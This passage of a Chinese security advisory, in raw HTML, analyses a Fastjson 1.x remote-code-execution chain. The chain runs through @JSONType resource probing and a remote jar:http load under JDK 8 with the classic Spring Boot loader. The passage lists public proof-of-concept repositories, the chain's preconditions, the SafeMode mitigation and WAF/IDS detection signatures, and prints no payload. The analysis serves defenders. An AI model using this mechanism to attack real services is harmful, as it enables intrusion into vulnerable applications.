YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">GitHub 公开仓补上了远程加载路径</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">GitHub 上目前传播较多的几份仓，主线基本一致：Fastjson 在 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">ParserConfig.checkAutoType</span></code><span leaf="" data-nest-level="3">中进行 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@JSONType</span></code><span leaf="" data-nest-level="3">资源探测，特定 ClassLoader 会把构造后的资源名按 JAR URL 解析。在 JDK 8 和经典 Spring Boot Loader 等条件下，远程内容可能进一步进入类定义与初始化。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">截至本次截点，可检索仓库的关注度大致如下：</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">仓库</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Stars</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Forks</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">公开内容</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="6"><span leaf="" data-nest-level="7">ThanatosXingYu/2026FastjsonPoC</span></code></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">16</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">8</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">本地 harness，对比普通 AppClassLoader 与经典 Boot Loader</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="6"><span leaf="" data-nest-level="7">dinosn/fastjson-jsontype-rce-lab</span></code></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">5</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">3</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Docker 靶场、机制说明和扫描工具</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="6"><span leaf="" data-nest-level="7">0x7eTeam/fastjson-1.2.83-rce</span></code></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">1</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">0</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">测试环境、脚本和利用条件说明</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="6"><span leaf="" data-nest-level="7">wouijvziqy/Fastjson-JsonType-RCE-PoC</span></code></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">当前公开内容未取得</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">—</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">被多份后续仓作为上游思路引用</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这些仓之间有明显的引用关系。仓库数量增加，更像同一条上游思路被整理成不同的 harness、Docker 环境和工具，而不是多条互相独立的新链。Star 与 Fork 也只代表关注度，不代表独立验证数量。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">用户提供的本机日志则补了一组对照：普通 AppClassLoader 下没有发起 HTTP 请求；JDK 8 + Spring Boot 2.7 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">LaunchedURLClassLoader</span></code><span leaf="" data-nest-level="3">下出现远程资源请求、类初始化和标记文件；SafeMode 开启后，Fastjson 解析抛出异常，标记文件没有生成。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这组日志与 GitHub 公开仓描述相符。SafeMode 对照中出现的部分请求来自 harness 自己执行的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">warmup getResource</span></code><span leaf="" data-nest-level="3">，发生在 Fastjson 解析之前，不应计入 SafeMode 下的解析行为。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">为什么说限制很多，但仍值得处理</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">当前公开的远程 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:http</span></code><span leaf="" data-nest-level="3">完整链，需要多个条件同时成立：</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">条件</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">当前公开链中的作用</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Fastjson 1.x 受影响版本</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">进入相关资源探测逻辑</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">不可信 JSON 到达解析入口</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">攻击数据需要真正进入 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">JSON.parse*</span></code><span leaf="" data-nest-level="7">或相关调用</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">SafeMode 未开启</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">SafeMode 会阻断当前公开解析路径</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">JDK 8</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">社区完整 RCE 主要集中在这一代 JDK</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">经典 Spring Boot FatJar Loader 或相似实现</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">负责把特殊资源名解释为可加载的 JAR 资源</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">可访问攻击者可控 HTTP 地址</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">远程链需要获取外部内容</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这些条件说明，现阶段更接近“高危但有明确环境边界”，而不是所有 Fastjson 1.2.83 应用普遍处于随时被一条请求拿下的状态。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">Spring Boot Loader 也需要说清楚：对 Spring Boot 1.x / 2.x 可执行 FatJar，以 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">java -jar</span></code><span leaf="" data-nest-level="3">启动时，经典 Boot Loader 属于默认启动机制；对 IDE 运行、普通 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">java -cp</span></code><span leaf="" data-nest-level="3">、外置 Tomcat WAR 或新版 Spring Boot Loader，公开链的结论需要分别验证。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">Spring Boot 3.2 已经重写嵌套 JAR Loader，类名和 URL 处理都发生了变化。把 Boot 1.x / 2.x 的复现结果直接套到所有现代 Spring Boot 应用上，会放大实际影响面。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">常规安全产品能覆盖到什么程度</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">公开样本留下了一些可被识别的组合特征，WAF、API 网关、网络检测和主机防护都有机会发现。腾讯云通告已经写明其 WAF 支持防护；长亭材料也建议在 URL 参数和请求体中检查 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">。不过，样例字符串可以调整，产品部署位置、规则版本和请求体解析能力也有差异，因此更合适的说法是“具备检测条件”，而不是默认现有设备已经覆盖全部变体。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">不同产品看到的是利用过程中的不同位置：</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">产品或数据源</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">它能看到什么</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">需要核对的地方</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">WAF / API 网关</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">请求体中的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">@type</span></code><span leaf="" data-nest-level="7">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">jar:</span></code><span leaf="" data-nest-level="7">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">!</span></code><span leaf="" data-nest-level="7">、整数形式 IP 等组合</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">是否检查 JSON 请求体；是否处理嵌套对象、Unicode 转义、URL 编码、压缩请求体和超长 Body</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">IDS / NDR / NGFW</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">入站攻击请求、目标随后发起的 HTTP 连接</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">HTTPS 流量在哪一层解密；东西向流量和容器网络是否经过检测点</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">出口代理 / 防火墙</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Java 服务访问陌生 